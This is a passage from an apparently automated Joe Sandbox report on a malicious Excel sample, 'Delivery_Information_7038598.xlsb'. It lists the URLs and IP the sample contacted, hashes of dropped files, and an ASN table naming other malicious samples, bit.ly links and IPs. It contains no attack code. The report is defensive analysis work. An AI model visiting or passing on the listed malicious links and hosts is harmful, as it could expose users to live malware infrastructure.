                                                          http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0ssat1_0609_2[1].dll.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://api.powerbi.com/v1.0/myorg/groups020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                            high
                                                            https://web.microsoftstream.com/video/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                              high
                                                              https://graph.windows.net020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                high
                                                                https://dataservice.o365filtering.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://officesetup.getmicrosoftkey.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://analysis.windows.net/powerbi/api020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                  high
                                                                  https://prod-global-autodetect.acompli.net/autodetect020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://outlook.office365.com/autodiscover/autodiscover.json020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                    high
                                                                    https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                      high
                                                                      https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                        high
                                                                        https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                          high
                                                                          https://ncus.contentsync.020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                          • URL Reputation: safe
                                                                          • URL Reputation: safe
                                                                          • URL Reputation: safe
                                                                          unknown
                                                                          https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                            high
                                                                            https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                              high
                                                                              http://weather.service.msn.com/data.aspx020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                high
                                                                                https://apis.live.net/v5.0/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                  high
                                                                                  https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                    high
                                                                                    https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                      high
                                                                                      https://management.azure.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                        high
                                                                                        https://wus2.contentsync.020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                        • URL Reputation: safe
                                                                                        • URL Reputation: safe
                                                                                        • URL Reputation: safe
                                                                                        unknown
                                                                                        https://incidents.diagnostics.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                          high
                                                                                          https://clients.config.office.net/user/v1.0/ios020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                            high
                                                                                            http://ocsp.sectigo.com0sat1_0609_2[1].dll.0.drfalse
                                                                                            • URL Reputation: safe
                                                                                            • URL Reputation: safe
                                                                                            • URL Reputation: safe
                                                                                            unknown
                                                                                            https://insertmedia.bing.office.net/odc/insertmedia020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                              high
                                                                                              https://o365auditrealtimeingestion.manage.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                high
                                                                                                https://outlook.office365.com/api/v1.0/me/Activities020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                  high
                                                                                                  https://api.office.net020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                    high
                                                                                                    https://incidents.diagnosticssdf.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                      high
                                                                                                      https://asgsmsproxyapi.azurewebsites.net/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      unknown
                                                                                                      https://clients.config.office.net/user/v1.0/android/policies020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                        high
                                                                                                        https://entitlement.diagnostics.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                          high
                                                                                                          http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#sat1_0609_2[1].dll.0.drfalse
                                                                                                          • URL Reputation: safe
                                                                                                          • URL Reputation: safe
                                                                                                          • URL Reputation: safe
                                                                                                          unknown
                                                                                                          https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                            high
                                                                                                            https://outlook.office.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                              high
                                                                                                              https://storage.live.com/clientlogs/uploadlocation020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                high
                                                                                                                https://templatelogging.office.com/client/log020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                  high
                                                                                                                  https://outlook.office365.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                    high
                                                                                                                    https://webshell.suite.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                      high
                                                                                                                      https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                        high
                                                                                                                        https://management.azure.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                          high
                                                                                                                          https://login.windows.net/common/oauth2/authorize020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                            high
                                                                                                                            https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            unknown
                                                                                                                            https://graph.windows.net/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                              high
                                                                                                                              https://api.powerbi.com/beta/myorg/imports020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                high
                                                                                                                                https://devnull.onenote.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://ncus.pagecontentsync.020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  unknown
                                                                                                                                  https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://messaging.office.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://augloop.office.com/v2020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://skyapi.live.net/Activity/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://clients.config.office.net/user/v1.0/mac020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://dataservice.o365filtering.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://sectigo.com/CPS0sat1_0609_2[1].dll.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://api.cortana.ai020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://onedrive.live.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                                                                                                                high

                                                                                                                                                Contacted IPs

                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                • 75% < No. of IPs

                                                                                                                                                Public

                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                185.180.199.121
                                                                                                                                                unknownNetherlands
                                                                                                                                                14576HOSTING-SOLUTIONSUSfalse

                                                                                                                                                General Information

                                                                                                                                                Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                Analysis ID:432152
                                                                                                                                                Start date:09.06.2021
                                                                                                                                                Start time:19:45:26
                                                                                                                                                Joe Sandbox Product:CloudBasic
                                                                                                                                                Overall analysis duration:0h 5m 27s
                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                Report type:full
                                                                                                                                                Sample file name:Delivery_Information_7038598.xlsb
                                                                                                                                                Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                Number of analysed new started processes analysed:16
                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                Number of injected processes analysed:0
                                                                                                                                                Technologies:
                                                                                                                                                • HCA enabled
                                                                                                                                                • EGA enabled
                                                                                                                                                • HDC enabled
                                                                                                                                                • AMSI enabled
                                                                                                                                                Analysis Mode:default
                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                Detection:MAL
                                                                                                                                                Classification:mal88.expl.evad.winXLSB@3/11@0/1
                                                                                                                                                EGA Information:Failed
                                                                                                                                                HDC Information:Failed
                                                                                                                                                HCA Information:
                                                                                                                                                • Successful, ratio: 100%
                                                                                                                                                • Number of executed functions: 1
                                                                                                                                                • Number of non-executed functions: 0
                                                                                                                                                Cookbook Comments:
                                                                                                                                                • Adjust boot time
                                                                                                                                                • Enable AMSI
                                                                                                                                                • Found application associated with file extension: .xlsb
                                                                                                                                                • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                • Attach to Office via COM
                                                                                                                                                • Scroll down
                                                                                                                                                • Close Viewer
                                                                                                                                                Warnings:
                                                                                                                                                Show All
                                                                                                                                                • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                • Excluded IPs from analysis (whitelisted): 13.64.90.137, 104.43.139.144, 52.109.76.68, 52.109.8.25, 52.109.12.22, 20.82.210.154, 20.54.104.15, 20.54.26.129, 205.185.216.42, 205.185.216.10, 20.50.102.62, 92.122.213.194, 92.122.213.247
                                                                                                                                                • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, cds.d2s7q6s2.hwcdn.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net
                                                                                                                                                • Execution Graph export aborted for target regsvr32.exe, PID 3144 because it is empty

                                                                                                                                                Simulations

                                                                                                                                                Behavior and APIs

                                                                                                                                                TimeTypeDescription
                                                                                                                                                19:46:31API Interceptor1x Sleep call for process: regsvr32.exe modified

                                                                                                                                                Joe Sandbox View / Context

                                                                                                                                                IPs

                                                                                                                                                No context

                                                                                                                                                Domains

                                                                                                                                                No context

                                                                                                                                                ASN

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                HOSTING-SOLUTIONSUSW6DkFm55kO.exeGet hashmaliciousBrowse
                                                                                                                                                • 162.248.225.14
                                                                                                                                                Lma2EzVvAK.exeGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.250
                                                                                                                                                wEcncyxrEeGet hashmaliciousBrowse
                                                                                                                                                • 104.193.252.114
                                                                                                                                                immed_paym_req_44191988.docGet hashmaliciousBrowse
                                                                                                                                                • 185.159.82.194
                                                                                                                                                zKOi8vCorq.exeGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.99
                                                                                                                                                invoice_100221.docGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.135
                                                                                                                                                new shippment.xlsxGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.135
                                                                                                                                                w3QgrgNAWs.exeGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.99
                                                                                                                                                yWWZnMPf9D.exeGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.99
                                                                                                                                                zLjBdL6Lbk.exeGet hashmaliciousBrowse
                                                                                                                                                • 185.180.198.141
                                                                                                                                                DHL_file094883764773845.exeGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.175
                                                                                                                                                https://bit.ly/3547mtOGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                http://436095.com/cwuobmjj/lnclqsrq.html?5crjx3rlwse.eps2kGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                https://bit.ly/2H1vYuPGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                https://bit.ly/33rThahGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                https://bit.ly/3l3ZAqgGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                http://275496.com/socsirmn/imokzmwd.html?2t2i2lh.4lurGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                yXkNVMiowl.docmGet hashmaliciousBrowse
                                                                                                                                                • 185.159.82.237
                                                                                                                                                https://bit.ly/2GrEGSXGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223
                                                                                                                                                https://bit.ly/32VsT8iGet hashmaliciousBrowse
                                                                                                                                                • 162.244.32.223

                                                                                                                                                JA3 Fingerprints

                                                                                                                                                No context

                                                                                                                                                Dropped Files

                                                                                                                                                No context

                                                                                                                                                Created / dropped Files

                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\020EDADF-4CF2-4A17-8391-1EC74C095F72
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):134915
                                                                                                                                                Entropy (8bit):5.369297521428537
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:1536:ycQIKNEeBXA3gBwlpQ9DQW+z7534ZlCKWXboOilX5ENLWME9:iEQ9DQW+zAXOe
                                                                                                                                                MD5:3493B85E11578A008313ABCB5C3B285F
                                                                                                                                                SHA1:4ACF1ECEB094FF91F9894A34846B7B6ECCB216E4
                                                                                                                                                SHA-256:F6C99F16C037DD5AA5DE3A9A5F7F543031AC5E45CE2EA4ADE29FAF5BFC57603A
                                                                                                                                                SHA-512:9946AF763EC433029970B4FF136C324391F8C15320471C958B0D4E50CA32C988218DC15AD85CBB924E35C055F3A77962D7DB48288752B3B8EA6405EAF633E510
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:low
                                                                                                                                                Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-09T17:46:15">.. Build: 16.0.14207.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\31495E89.png
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PNG image data, 168 x 72, 8-bit/color RGB, non-interlaced
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):6177
                                                                                                                                                Entropy (8bit):7.959095006853368
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:96:j6KDvZ3QXkQ288GMDBm6hEeWyS8ITRIVg9gPEnbYhbY0Y4pxCpAueydMT1uZMr0a:j6KTV8WBPhqd9qqYTB6peyeT1oMr0a
                                                                                                                                                MD5:C7ED6FC355D8632DB1464BE3D56BF5CC
                                                                                                                                                SHA1:615484A338922DDF00B903CFA48060AD60D70207
                                                                                                                                                SHA-256:26000244FBB0C6B2D76F80166CE85700BC96141C6CD80F8B399CA6F15FE3515C
                                                                                                                                                SHA-512:FB4AE09EACD15A4FE778BDF366808C4F9FE403C4054F86704C03C87C7016E7D7A5772677B69064FCB5F1B9345D80C4263A58EA8B5E9CA2B717E24E2B19B85A92
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:moderate, very likely benign file
                                                                                                                                                Preview: .PNG........IHDR.......H......m)a....sRGB.........pHYs..........+......IDATx^....E...1.Y. ..."3.(.D......A..(....(.C.X.QP..b.UQAdA..9'I:Hf..f.....s....._.A..s.3...Vu........Z.[.q.P.-9.b..q.......|.r F......c..1..........e.->....@..;n.q..(.bt.q...>F9...[|\.1..]v..A..G..y._3...*3M.YG7.J.)..RK]u.j}.*^J.....R...j.:=}..qN .sV&..F.a.@..Vs.P...%.A......~..w..P.Be.-].4..arss.9~.8d.@.d...."..?.G....z............(.T.......G.;w.?....w....S.H.+...W.^..........E..-_.|....D-....#G.{..<r....P.K..$.{D....kzzz.R....`?..O;........#....tb..g..gU.r>G.......:t........a........p..c..]......M.6.'O.]......8q...RSS.YBB.M.j..}..I.&.:%J.x..7o....d.*U..233.].......E.m}..../^..nt..X.b,..{<....=.....3....z....v..]0.e.}...?.....w..y...)S.L.F.:t..U...+F...l......&...322.6m.../.[.J.a.=..%Kx....E...ys.....z...i.z..g...G...e.7.|.h....!C^x.5k"......<.R..k....4iR.V-.._.~....:..P.O@.y.:..:G=.\...J ...u...]%.T.n.......v..A`Y.......V...^{.X^.I`1w.q........
                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\40C82274.png
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):956
                                                                                                                                                Entropy (8bit):7.683552542542939
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:24:64ZJH5wka2YQydYiFNcincNrtNmt5xx4tRFB:JJH5fYuW5c3wPoFB
                                                                                                                                                MD5:32C83607A5C98C5A634278E5AED3AD61
                                                                                                                                                SHA1:EDE34ADEA53C413C4AC8215EA48F2F2FD59F1362
                                                                                                                                                SHA-256:4A999E919D85EDD0CD1A772CA3B29F91AEECF77D0BEB11FD1B632B7A8A0686BF
                                                                                                                                                SHA-512:AF19A013377F0F7B47E54D99D0AFA222BE46072C47944E8640B09A4993DFDDC906B7C68F7E3DAB5B3F126C9AD1090EADBF17FF7068EE8E360D0EA46811C0DB3C
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:low
                                                                                                                                                Preview: .PNG........IHDR.............;0......sRGB.........gAMA......a.....pHYs..........o.d...QIDATHK.VMHTQ..2.h.X."h....A....]B...m.(h..b?.$...f.)..ta...jS..!..h.ETD.!."."C..y.....=.>8...{.s..32.0Fv.F...kz..&.|_......9.)m."......m..$9.j...E.@.:D.-..0...L.hk..(....s.'.k.A-.-......(.....jR[m..d..O.-?:.c..70.{..sw'X.j.^j+..d....N.. .r......Z.[[[..c...r.../.M`l.]&#.aR..[{...<O....<d...3....F...:..s9..-...x..R...q..ON.KO;..0..^.....9.S.}..x...22......r..f....'......+o...A..7......q..l...S........s/.{.^..Pj1`.b.!t..>o..!.C.e.}....Y.....t.......r.MDq=.=..._....c..3%p...j...hI1.[.^.#..."#...e...6..I-j;.9j;o/...Q2...w-.?.<..r../?...0.`.;.lz.M...\. ..]x...\h^.....r..';... ...<..j..E._.E..u..g....7.X....T....7........(&.[....... T....;V1w..,EU.W"./.........m%.u'x/.u]*....@.-.L..G.....Q."..%fb.Z*.,...K.%BX....]`J=.h".Vef...2..8.g.jX.2s..vY.u|.4p.\.h...W....(.r.....^Y....2$8F...>`p._.c..}.txq#.$.`:@...Y..?.j.IK.Fu....IEND.B`.
                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CCF47EA8.png
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PNG image data, 288 x 77, 8-bit/color RGB, non-interlaced
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):23989
                                                                                                                                                Entropy (8bit):7.989754044300238
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:384:SGjFc9Ll+HCggc/h3GXoQjZVVawDIPsTDGY9R9cNc+3JY0kEtWhfEWa92ppgMoF3:S5plMCgzGoOzVawisTDGY9Rs3JYhEtqy
                                                                                                                                                MD5:839795652A8FE78F26F4D86D757ABDE8
                                                                                                                                                SHA1:979E5B90C72EA3E5E9D9B506AFDC981BFCA61B60
                                                                                                                                                SHA-256:1A9EF0E2F66682B532D15457635920067C4F29EF762D2E8A3E0363B4CF39C13E
                                                                                                                                                SHA-512:E6D5CB06679832DE768E23EF42B9780E4E8327A057A3EA0A6CD5B76908B210078EF659CA44C8723960AB59A0DB85A052C45E7A29D7FA8A643275BA5F210F6773
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:moderate, very likely benign file
                                                                                                                                                Preview: .PNG........IHDR... ...M.............sRGB.........pHYs..........+....]ZIDATx^.......{fs..|.S........d....`...9.....8..6/.......E.BB.....yw..w.-.FF.g.5~5..ivv.'..U.Tu..8.../=..R9s.Rn....Ry.....@..V.m).bCU..n....Ue.,~b;K.Q.KUlUR.`../...:.Y.Jy..Jy8.Q.K..Xzg..a.Y....X[...s.........`...Q1b....*.......|e.a..$..(...e....e.e..i$SQ.i.y....o.@......p..yx.b.~....Z"..Xc{,..{..o....`...9K..;........=...%.@]? .h!.......W...Z....T.Uul..V..PS[.j.......,..W...T.Z..e..T*.J)..+.K*Wt......W.].K..4......{.<)...V+e....u.I..A...`o..w.....jUU...b...'....EW....R\..'..b......U.X..SKV..O&..?.).....}._....\....*..hU\..W.m.I..|.0\...o..?c.a3'.2}...u....`.9..*....q.dc....!..vq..B...9....&..rsJ.\...)..}.W./.._.g.5e....sy.......@I.l.J.UgW...q..o9^O.g;V.r*v...U.0..._?.5|...x...m..Z....6...._..l.....dc......K..`U.c+;.K.^...`.L....j:W(...fuB=.p..w=..D....q..&..8.V.....UU.b#z...Xyo..X...*...w..U.....sW2...d.u.~.~..)l....e.q.:#r.f.....m|...w_...1.i..bs.F..L.`.}..6V..w.....z
                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E47A0A7F.png
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PNG image data, 178 x 76, 8-bit/color RGB, non-interlaced
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):5744
                                                                                                                                                Entropy (8bit):7.966496386988271
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:96:4uJgumnoYk22FLjJq17cpKsv+CHI5BXjI1e+HCLDl3kjH1erj+uYU2:4CgJfkfJA7ixCxqe+GDhkT1erj+uYf
                                                                                                                                                MD5:9AD30E24270C495AE68EAF3A1EEECBFB
                                                                                                                                                SHA1:8642D256E7FFBEF5804A2D2220A1FE475A99DC36
                                                                                                                                                SHA-256:6D3EAD431ABD110369EFABC6F2E474DC24FA3D7EEC28DE43456407C5BACD6D20
                                                                                                                                                SHA-512:EB156DD0686BAAE4F46B0B0C01838DA7225529D3B31912568D36A1CC07BE006EEAD31F464B0252C3A8471ACA71E86EEE9185FE705ABAE08C56B15C63CC891AD5
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:moderate, very likely benign file
                                                                                                                                                Preview: .PNG........IHDR.......L.....FpzV....sRGB.........pHYs..........+......IDATx^.\.tTU..u...@@. .b..su....."....+k..Aeu..rX.*.feE..(M.....b..BB.P.f&S_.~w&.I.aH...'...0..........u.2.!...`....8_..,.T.#....,.X...N....NN-l........5`...Z.,..-L..k.":9..Y.,Z..c.Etrja..X.0.G.......f..ha...]......2`.......,..S..e...)<:v.XD'..6.E.Sxt....NN-l........5`...Z.,..-L..k.":9..Yt......9.{.f;...f../Mh...B..GK.....FG.....s...MN.vqp"+.|.m[&11..<O....?...EQ4.H...Z'M... #.T......vS..^..p..)........1...JJr?.gq.V..X..h..T._Zr2g..W^...A./.W...P....q.By.49..5M--.e...5}..{.!.s4M./Xx2.....`...I>s..4U...]...(5.8o>.X.[..xS.w)../.c.Lh..a..uQ.fd.....jh.Z.d..(..=.....#.....o.y....g...-....=?..X.f./..=n|`.j..k.........{.4...b..T.-h..F..;u.x....[!.\....*'Nx^....C..b...8........|F.$.4.......&?.>#.d.\p.R..k..>t0?.-3g..b......s.O..E...4o...\O=.7O=z...u1$n..6..C.]A.X...Z.tX.......I..W.....P...h.@..+q..F.kcI..x\>.....0.4..p....}.~e...).w....%Q.$W......8........PY.k..J....T..b.l
                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\F7C562F6.png
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PNG image data, 264 x 113, 8-bit/color RGB, non-interlaced
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):9924
                                                                                                                                                Entropy (8bit):7.973758306371751
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:192:soXrzGktAQUkDfw4om9PEK9u27pwnJyV028/tgXEoCWoB:so9G+fnVEYu27OIW/+XEoCWoB
                                                                                                                                                MD5:B34FB4F2F0F9E70B72BA3AFD028CD97C
                                                                                                                                                SHA1:C6868336F78DEA1E718965DF3341039581DB5B5A
                                                                                                                                                SHA-256:189D420D344A694FD1928ABACBEC94D9F0EF52BE036CEB8144A9D9A6DD14EAEB
                                                                                                                                                SHA-512:4795600917F8A67A6C5CBD5713CAACE74E0483F8E6BB6D98EAB63BF24A0F71E537E7F8ABD26808630B247D454A3F467595C8343EEB4EA98AFAB49D81964158D6
                                                                                                                                                Malicious:false
